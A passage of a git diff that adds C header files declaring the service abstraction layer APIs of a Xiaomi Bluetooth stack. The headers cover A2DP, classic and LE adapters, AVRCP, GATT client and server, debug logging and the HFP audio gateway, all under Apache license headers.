b/service/stacks/include/sal_a2dp_sink_interface.h @@ -0,0 +1,33 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_A2DP_SINK_INTERFACE_H__ +#define __SAL_A2DP_SINK_INTERFACE_H__ + +#ifdef CONFIG_BLUETOOTH_A2DP + +#include "a2dp_event.h" +#include "bt_device.h" + +bt_status_t bt_sal_a2dp_sink_init(uint8_t max_connection); +void bt_sal_a2dp_sink_cleanup(void); +bt_status_t bt_sal_a2dp_sink_connect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_a2dp_sink_disconnect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_a2dp_sink_start_stream(bt_controller_id_t id, bt_address_t* addr); + +void bt_sal_a2dp_sink_event_callback(a2dp_event_t* event); + +#endif /* CONFIG_BLUETOOTH_A2DP */ +#endif /* __SAL_A2DP_SINK_INTERFACE_H__ */ diff --git a/service/stacks/include/sal_a2dp_source_interface.h b/service/stacks/include/sal_a2dp_source_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..cbb965bc22cede76ab1d031ca471669cf15aeb25 --- /dev/null +++ b/service/stacks/include/sal_a2dp_source_interface.h @@ -0,0 +1,36 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_A2DP_SOURCE_INTERFACE_H__ +#define __SAL_A2DP_SOURCE_INTERFACE_H__ + +#ifdef CONFIG_BLUETOOTH_A2DP + +#include "a2dp_event.h" +#include "bt_device.h" + +bt_status_t bt_sal_a2dp_source_init(uint8_t max_connection); +void bt_sal_a2dp_source_cleanup(void); +bt_status_t bt_sal_a2dp_source_connect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_a2dp_source_disconnect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_a2dp_source_start_stream(bt_controller_id_t id, bt_address_t* remote_addr); +bt_status_t bt_sal_a2dp_source_suspend_stream(bt_controller_id_t id, bt_address_t* remote_addr); +bt_status_t bt_sal_a2dp_source_send_data(bt_controller_id_t id, bt_address_t* remote_addr, + uint8_t* buf, uint16_t nbytes, uint8_t nb_frames, uint64_t timestamp, uint32_t seq); + +void bt_sal_a2dp_source_event_callback(a2dp_event_t* event); + +#endif /* CONFIG_BLUETOOTH_A2DP */ +#endif /* __SAL_A2DP_SOURCE_INTERFACE_H__ */ diff --git a/service/stacks/include/sal_adapter_classic_interface.h b/service/stacks/include/sal_adapter_classic_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..3a587eabb93d136702ecdfaf8b63be2d69688c3f --- /dev/null +++ b/service/stacks/include/sal_adapter_classic_interface.h @@ -0,0 +1,109 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_ADAPTER_CLASSIC_INTERFACE_H_ +#define __SAL_ADAPTER_CLASSIC_INTERFACE_H_ + +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_status.h" +#include "bt_vhal.h" + +#include "bluetooth_define.h" +#include "power_manager.h" + +typedef struct { + uint8_t hash[16]; + uint8_t rand[16]; +} bt_oob_data_t; + +/* service adapter layer for BREDR */ +// #ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +bt_status_t bt_sal_init(const bt_vhal_interface* vhal); +void bt_sal_cleanup(void); + +/* Adapter power */ +bt_status_t bt_sal_enable(bt_controller_id_t id); +bt_status_t bt_sal_disable(bt_controller_id_t id); +bool bt_sal_is_enabled(bt_controller_id_t id); + +/* Adapter properties */ +bt_status_t bt_sal_set_name(bt_controller_id_t id, char* name); +const char* bt_sal_get_name(bt_controller_id_t id); +bt_status_t bt_sal_get_address(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_set_io_capability(bt_controller_id_t id, bt_io_capability_t cap); +bt_io_capability_t bt_sal_get_io_capability(bt_controller_id_t id); +bt_status_t bt_sal_set_device_class(bt_controller_id_t id, uint32_t cod); +uint32_t bt_sal_get_device_class(bt_controller_id_t id); +bt_status_t bt_sal_set_scan_mode(bt_controller_id_t id, bt_scan_mode_t scan_mode, bool bondable); +bt_scan_mode_t bt_sal_get_scan_mode(bt_controller_id_t id); +bool bt_sal_get_bondable(bt_controller_id_t id); + +/* Inquiry/page and inquiry/page scan */ +bt_status_t bt_sal_start_discovery(bt_controller_id_t id, uint32_t timeout, bool is_limited); +bt_status_t bt_sal_stop_discovery(bt_controller_id_t id); +bt_status_t bt_sal_set_page_scan_parameters(bt_controller_id_t id, bt_scan_type_t type, + uint16_t interval, uint16_t window); +bt_status_t bt_sal_set_inquiry_scan_parameters(bt_controller_id_t id, bt_scan_type_t type, + uint16_t interval, uint16_t window); + +/* Remote device RNR/connection/bond/properties */ +bt_status_t bt_sal_get_remote_name(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_auto_accept_connection(bt_controller_id_t id, bool enable); +bt_status_t bt_sal_sco_connection_reply(bt_controller_id_t id, bt_address_t* addr, bool accept); +bt_status_t bt_sal_acl_connection_reply(bt_controller_id_t id, bt_address_t* addr, bool accept); +bt_status_t bt_sal_pair_reply(bt_controller_id_t id, bt_address_t* addr, uint8_t reason); +bt_status_t bt_sal_ssp_reply(bt_controller_id_t id, bt_address_t* addr, + bool accept, bt_pair_type_t type, uint32_t passkey); +bt_status_t bt_sal_pin_reply(bt_controller_id_t id, bt_address_t* addr, + bool accept, char* pincode, int len); +connection_state_t bt_sal_get_connection_state(bt_controller_id_t id, bt_address_t* addr); +uint16_t bt_sal_get_acl_connection_handle(bt_controller_id_t id, bt_address_t* addr, bt_transport_t trasnport); +uint16_t bt_sal_get_sco_connection_handle(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_connect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_disconnect(bt_controller_id_t id, bt_address_t* addr, uint8_t reason); +bt_status_t bt_sal_set_security_level(bt_controller_id_t id, uint8_t level); +bt_status_t bt_sal_create_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport, bt_addr_type_t type); +bt_status_t bt_sal_cancel_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport); +bt_status_t bt_sal_remove_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport); +bt_status_t bt_sal_set_remote_oob_data(bt_controller_id_t id, bt_address_t* addr, + bt_oob_data_t* p192_val, bt_oob_data_t* p256_val); +bt_status_t bt_sal_remove_remote_oob_data(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_get_local_oob_data(bt_controller_id_t id); +bt_status_t bt_sal_get_remote_device_info(bt_controller_id_t id, bt_address_t* addr, remote_device_properties_t* properties); +bt_status_t bt_sal_set_bonded_devices(bt_controller_id_t id, remote_device_properties_t* props, int cnt); +bt_status_t bt_sal_get_bonded_devices(bt_controller_id_t id, remote_device_properties_t* props, int* cnt); +bt_status_t bt_sal_get_connected_devices(bt_controller_id_t id, remote_device_properties_t* props, int* cnt); + +/* Service discovery */ +bt_status_t bt_sal_start_service_discovery(bt_controller_id_t id, bt_address_t* addr, bt_uuid_t* uuid); +bt_status_t bt_sal_stop_service_discovery(bt_controller_id_t id, bt_address_t* addr); + +/* Link policy */ +bt_status_t bt_sal_set_power_mode(bt_controller_id_t id, bt_address_t* addr, bt_pm_mode_t* mode); +bt_status_t bt_sal_set_link_role(bt_controller_id_t id, bt_address_t* addr, bt_link_role_t role); +bt_status_t bt_sal_set_link_policy(bt_controller_id_t id, bt_address_t* addr, bt_link_policy_t policy); +bt_status_t bt_sal_set_afh_channel_classification(bt_controller_id_t id, uint16_t central_frequency, + uint16_t band_width, uint16_t number); +bt_status_t bt_sal_set_afh_channel_classification_1(bt_controller_id_t id, uint8_t* map); + +/* VSC */ +bt_status_t bt_sal_send_hci_command(bt_controller_id_t id, uint8_t ogf, uint16_t ocf, uint8_t length, uint8_t* buf, + bt_hci_event_callback_t cb, void* context); +// #endif +#endif /* __SAL_ADAPTER_CLASSIC_INTERFACE_V2_H_ */ diff --git a/service/stacks/include/sal_adapter_le_interface.h b/service/stacks/include/sal_adapter_le_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..c2a90f9a68dcbf3ecf309fcad857b525b93d7ab8 --- /dev/null +++ b/service/stacks/include/sal_adapter_le_interface.h @@ -0,0 +1,69 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_ADAPTER_LE_INTERFACE_H_ +#define __SAL_ADAPTER_LE_INTERFACE_H_ + +#include <stdint.h> + +#include "bluetooth.h" +#include "bluetooth_define.h" +#include "bt_addr.h" +#include "bt_status.h" +#include "power_manager.h" +#include "vhal/bt_vhal.h" + +#define GATT_ROLE_SERVER (1UL << 0) +#define GATT_ROLE_CLIENT (1UL << 1) + +bt_status_t bt_sal_le_init(const bt_vhal_interface* vhal); +void bt_sal_le_cleanup(void); +bt_status_t bt_sal_le_enable(bt_controller_id_t id); +bt_status_t bt_sal_le_disable(bt_controller_id_t id); +bt_status_t bt_sal_le_set_io_capability(bt_controller_id_t id, bt_io_capability_t cap); +bt_status_t bt_sal_le_set_static_identity(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_set_public_identity(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_set_address(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_get_address(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_set_bonded_devices(bt_controller_id_t id, remote_device_le_properties_t* props, uint16_t prop_cnt); +bt_status_t bt_sal_le_get_bonded_devices(bt_controller_id_t id, remote_device_le_properties_t* props, uint16_t* prop_cnt); +bt_status_t bt_sal_le_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t type, ble_connect_params_t* params); +bt_status_t bt_sal_le_disconnect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_set_bondable(bt_controller_id_t id, bool enable); +bt_status_t bt_sal_le_create_bond(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t type); +bt_status_t bt_sal_le_set_security_level(bt_controller_id_t id, uint8_t level); +bt_status_t bt_sal_le_remove_bond(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_smp_reply(bt_controller_id_t id, bt_address_t* addr, bool accept, bt_pair_type_t type, uint32_t passkey); +bt_status_t bt_sal_le_set_legacy_tk(bt_controller_id_t id, bt_address_t* addr, bt_128key_t tk_val); +bt_status_t bt_sal_le_set_remote_oob_data(bt_controller_id_t id, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val); +bt_status_t bt_sal_le_get_local_oob_data(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_le_add_white_list(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t bt_sal_le_remove_white_list(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t bt_sal_le_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +bt_status_t bt_sal_le_set_appearance(bt_controller_id_t id, uint16_t appearance); +uint16_t bt_sal_le_get_appearance(bt_controller_id_t id); +bt_status_t bt_sal_le_enable_key_derivation(bt_controller_id_t id, bool brkey_to_lekey, bool lekey_to_brkey); +bt_status_t bt_sal_get_identity_addr(bt_address_t* addr, bt_address_t* id_addr); + +struct bt_conn* get_le_conn_from_addr(bt_address_t* addr); +bt_status_t get_le_addr_from_conn(struct bt_conn* conn, bt_address_t* addr); +bt_status_t le_conn_set_role(bt_address_t* addr, uint8_t flag); +bt_status_t le_conn_remove(bt_address_t* addr); + +#if defined(CONFIG_BT_USER_PHY_UPDATE) +ble_phy_type_t le_phy_convert_from_stack(uint8_t mode); +uint8_t le_phy_convert_from_service(ble_phy_type_t mode); +#endif +#endif /* __SAL_ADAPTER_LE_INTERFACE_H_ */ diff --git a/service/stacks/include/sal_avrcp_control_interface.h b/service/stacks/include/sal_avrcp_control_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..ce4e6f1b043588b93b0f50720cb431ea46f4e06e --- /dev/null +++ b/service/stacks/include/sal_avrcp_control_interface.h @@ -0,0 +1,54 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_AVRCP_CONTROL_INTERFACE_H__ +#define __SAL_AVRCP_CONTROL_INTERFACE_H__ + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARGET) + +#include "avrcp_msg.h" +#include "bt_avrcp.h" +#include "bt_device.h" + +#define AVCTP_VER_1_4 (0x0104u) +#define AVRCP_VER_1_6 (0x0106u) + +#define AVRCP_CAT_1 BIT(0) /* Player/Recorder */ +#define AVRCP_CAT_2 BIT(1) /* Monitor/Amplifier */ +#define AVRCP_CAT_3 BIT(2) /* Tuner */ +#define AVRCP_CAT_4 BIT(3) /* Menu */ + +bt_status_t bt_sal_avrcp_control_init(void); +void bt_sal_avrcp_control_cleanup(void); +bt_status_t bt_sal_avrcp_control_send_pass_through_cmd(bt_controller_id_t id, + bt_address_t* bd_addr, avrcp_passthr_cmd_t key_code, avrcp_key_state_t key_state); +bt_status_t bt_sal_avrcp_control_get_playback_state(bt_controller_id_t id, bt_address_t* bd_addr); +bt_status_t bt_sal_avrcp_control_volume_changed_notify(bt_controller_id_t id, + bt_address_t* bd_addr, uint8_t volume); +bt_status_t bt_sal_avrcp_control_connect(bt_controller_id_t id, bt_address_t* bd_addr); +bt_status_t bt_sal_avrcp_control_disconnect(bt_controller_id_t id, bt_address_t* bd_addr); +bt_status_t bt_sal_avrcp_control_get_capabilities(bt_controller_id_t id, bt_address_t* bd_addr, + uint8_t cap_id); +bt_status_t bt_sal_avrcp_control_register_notification(bt_controller_id_t id, + bt_address_t* bd_addr, avrcp_notification_event_t event, uint32_t interval); +bt_status_t bt_sal_avrcp_control_get_element_attributes(bt_controller_id_t id, + bt_address_t* bd_addr, uint8_t attrs_count, avrcp_media_attr_type_t* types); +bt_status_t bt_sal_avrcp_control_get_unit_info(bt_controller_id_t id, bt_address_t* bd_addr); +bt_status_t bt_sal_avrcp_control_get_subunit_info(bt_controller_id_t id, bt_address_t* bd_addr); + +void bt_sal_avrcp_control_event_callback(avrcp_msg_t* msg); + +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL || CONFIG_BLUETOOTH_AVRCP_TARGET */ +#endif /* __SAL_AVRCP_CONTROL_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/include/sal_avrcp_target_interface.h b/service/stacks/include/sal_avrcp_target_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..1e72bd36f9999344b2da5a68f728be29203af9d9 --- /dev/null +++ b/service/stacks/include/sal_avrcp_target_interface.h @@ -0,0 +1,42 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_AVRCP_TARGET_INTERFACE_H__ +#define __SAL_AVRCP_TARGET_INTERFACE_H__ + +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_TARGET) + +#include "avrcp_msg.h" +#include "bt_avrcp.h" +#include "bt_device.h" + +bt_status_t bt_sal_avrcp_target_init(void); +void bt_sal_avrcp_target_cleanup(void); +bt_status_t bt_sal_avrcp_target_get_play_status_rsp(bt_controller_id_t id, bt_address_t* addr, + avrcp_play_status_t status, uint32_t song_len, uint32_t song_pos); +bt_status_t bt_sal_avrcp_target_play_status_notify(bt_controller_id_t id, bt_address_t* addr, + avrcp_play_status_t status); +bt_status_t bt_sal_avrcp_target_set_absolute_volume(bt_controller_id_t id, bt_address_t* addr, + uint8_t volume); +bt_status_t bt_sal_avrcp_target_notify_track_changed(bt_controller_id_t id, bt_address_t* addr, + bool selected); +bt_status_t bt_sal_avrcp_target_notify_play_position_changed(bt_controller_id_t id, + bt_address_t* addr, uint32_t position); +bt_status_t bt_sal_avrcp_target_register_volume_changed(bt_controller_id_t id, bt_address_t* addr); + +void bt_sal_avrcp_target_event_callback(avrcp_msg_t* msg); + +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL || CONFIG_BLUETOOTH_AVRCP_TARGET */ +#endif /* __SAL_AVRCP_TARGET_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/include/sal_debug_interface.h b/service/stacks/include/sal_debug_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..7a72d59e3428faa13cb0120d24366cb948a91704 --- /dev/null +++ b/service/stacks/include/sal_debug_interface.h @@ -0,0 +1,34 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_DEBUG_INTERFACE_H_ +#define __SAL_DEBUG_INTERFACE_H_ + +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_addr.h" + +void bt_sal_debug_init(void); +void bt_sal_debug_cleanup(void); +bt_status_t bt_sal_debug_enable(void); +bt_status_t bt_sal_debug_disable(void); +bt_status_t bt_sal_debug_set_log_level(uint32_t level); +bool bt_sal_debug_is_type_support(bt_debug_type_t type); +bt_status_t bt_sal_debug_set_log_enable(bt_debug_type_t type, bool enable); +bt_status_t bt_sal_debug_update_log_mask(int mask); + +// #endif +#endif /* __SAL_DEBUG_INTERFACE_V2_H_ */ diff --git a/service/stacks/include/sal_gatt_client_interface.h b/service/stacks/include/sal_gatt_client_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..5d23e85214c73666bc3bf18aba9db47f1e33528d --- /dev/null +++ b/service/stacks/include/sal_gatt_client_interface.h @@ -0,0 +1,49 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_GATT_CLIENT_INTERFACE_H__ +#define __SAL_GATT_CLIENT_INTERFACE_H__ + +#include "bt_addr.h" +#include "bt_status.h" +#include "gattc_service.h" +#include <stdint.h> + +#define GATT_ELEMENT_GROUP_MASK 0xFF00 +#define GATT_ELEMENT_GROUP_MAX 0xFF00 +#define GATT_ELEMENT_GROUP_ID(element_id) (element_id & GATT_ELEMENT_GROUP_MASK) + +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) +bt_status_t bt_sal_gatt_client_enable(void); +bt_status_t bt_sal_gatt_client_disable(void); +#endif +bt_status_t bt_sal_gatt_client_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t bt_sal_gatt_client_disconnect(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_client_discover_all_services(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_client_discover_service_by_uuid(bt_controller_id_t id, bt_address_t* addr, bt_uuid_t* uuid); +bt_status_t bt_sal_gatt_client_read_element(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id); +bt_status_t bt_sal_gatt_client_write_element(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length, gatt_write_type_t write_type); +bt_status_t bt_sal_gatt_client_register_notifications(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint16_t properties, bool enable); +bt_status_t bt_sal_gatt_client_send_mtu_req(bt_controller_id_t id, bt_address_t* addr, uint32_t mtu); +bt_status_t bt_sal_gatt_client_update_connection_parameter(bt_controller_id_t id, bt_address_t* addr, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length); +bt_status_t bt_sal_gatt_client_read_remote_rssi(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_client_read_phy(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_client_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +void bt_sal_gatt_client_connection_updated_callback(bt_controller_id_t id, bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout, bt_status_t status); +void bt_sal_gatt_client_connection_state_changed_callback(bt_controller_id_t id, bt_address_t* addr, profile_connection_state_t state); + +#endif /* __SAL_GATT_CLIENT_INTERFACE_H__ */ diff --git a/service/stacks/include/sal_gatt_server_interface.h b/service/stacks/include/sal_gatt_server_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..180e685bf1bca30341cb122bf919b1e4d9bdcec3 --- /dev/null +++ b/service/stacks/include/sal_gatt_server_interface.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __SAL_GATT_SERVER_INTERFACE_H__ +#define __SAL_GATT_SERVER_INTERFACE_H__ + +#include "bt_status.h" +#include "gatt_define.h" +#include "gatts_service.h" + +#include <stdint.h> +#include <stdio.h> + +#define GATT_ELEMENT_GROUP_MASK 0xFF00 +#define GATT_ELEMENT_GROUP_MAX 0xFF00 +#define GATT_ELEMENT_GROUP_ID(element_id) (element_id & GATT_ELEMENT_GROUP_MASK) + +bt_status_t bt_sal_gatt_server_enable(void); +bt_status_t bt_sal_gatt_server_disable(void); +bt_status_t bt_sal_gatt_server_add_elements(gatt_element_t* elements, uint16_t size); +bt_status_t bt_sal_gatt_server_remove_elements(gatt_element_t* elements, uint16_t size); +bt_status_t bt_sal_gatt_server_connect(bt_controller_id_t id, bt_address_t* addr, ble_addr_type_t addr_type); +bt_status_t bt_sal_gatt_server_cancel_connection(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_server_send_response(bt_controller_id_t id, bt_address_t* addr, uint32_t request_id, uint8_t* value, uint16_t length); +#if defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) +bt_status_t bt_sal_gatt_server_send_notification(bt_controller_id_t id, bt_address_t* addr, gatt_element_t* element, uint8_t* value, uint16_t length); +bt_status_t bt_sal_gatt_server_send_indication(bt_controller_id_t id, bt_address_t* addr, gatt_element_t* element, uint8_t* value, uint16_t length); +#else +bt_status_t bt_sal_gatt_server_send_notification(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length); +bt_status_t bt_sal_gatt_server_send_indication(bt_controller_id_t id, bt_address_t* addr, uint16_t element_id, uint8_t* value, uint16_t length); +#endif +bt_status_t bt_sal_gatt_server_read_phy(bt_controller_id_t id, bt_address_t* addr); +bt_status_t bt_sal_gatt_server_set_phy(bt_controller_id_t id, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +void bt_sal_gatt_server_connection_changed_callback(bt_address_t* addr, uint16_t connection_interval, uint16_t peripheral_latency, + uint16_t supervision_timeout); +void bt_sal_gatt_server_connection_state_changed_callback(bt_controller_id_t id, bt_address_t* addr, profile_connection_state_t state); + +#endif diff --git a/service/stacks/include/sal_hfp_ag_interface.h b/service/stacks/include/sal_hfp_ag_interface.h new file mode 100644 index 0000000000000000000000000000000000000000..f675692459739b6240a21c2a4b1782c28ffc9bb7 --- /dev/null +++ b/service/stacks/include/sal_hfp_ag_interface.h @@ -0,0 +1,50 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SAL_HFP_AG_INTERFACE_H__ +#define __SAL_HFP_AG_INTERFACE_H__ + +#include "bt_addr.h" +#include "bt_status.h" +#include "hfp_ag_service.h" +#include <stdint.h> + +bt_status_t bt_sal_hfp_ag_init(uint32_t features, uint8_t max_connection); +void bt_sal_hfp_ag_cleanup(void); +bt_status_t bt_sal_hfp_ag_connect(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_disconnect(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_connect_audio(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_disconnect_audio(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_start_voice_recognition(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_stop_voice_recognition(bt_address_t* addr); +bt_status_t bt_sal_hfp_ag_phone_state_change(bt_address_t* addr, uint8_t num_active, + uint8_t num_held, hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name); +bt_status_t bt_sal_hfp_ag_cind_response(bt_address_t* addr, hfp_ag_cind_resopnse_t* response); +bt_status_t bt_sal_hfp_ag_clcc_response(bt_address_t* addr, uint32_t index, + hfp_call_direction_t dir, hfp_ag_call_state_t call, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number); +bt_status_t bt_sal_hfp_ag_dial_response(bt_address_t* addr, hfp_atcmd_result_t result); +bt_status_t bt_sal_hfp_ag_cops_response(bt_address_t* addr, const char* operator_name, uint16_t length); +bt_status_t bt_sal_hfp_ag_notify_device_status_changed(bt_address_t* addr, hfp_network_state_t network, + hfp_roaming_state_t roam, uint8_t signal, uint8_t battery); +bt_status_t bt_sal_hfp_ag_set_inband_ring_enable(bt_address_t* addr, bool enable); +bt_status_t bt_sal_hfp_ag_set_volume(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +bt_status_t bt_sal_hfp_ag_send_at_cmd(bt_address_t* addr, const char* atcmd, uint16_t length); +bt_status_t bt_sal_hfp_ag_manufacture_id_response(bt_address_t* addr, + const char* manufacturer_id, uint16_t length); +bt_status_t bt_sal_hfp_ag_model_id_response(bt_address_t* addr, const char* model_id, uint16_t length); +bt_status_t bt_sal_hfp_ag_error_response(bt_address_t* addr, hfp_atcmd_result_t result); +#endif /* __SAL_HFP_AG_INTERFACE_H__ */ \ No newline at end of file diff --git a/service/stacks/include/sal_hfp_hf_interface.h b/service/stacks/include/sal_hfp_hf_interface.h new file mode 100644 index 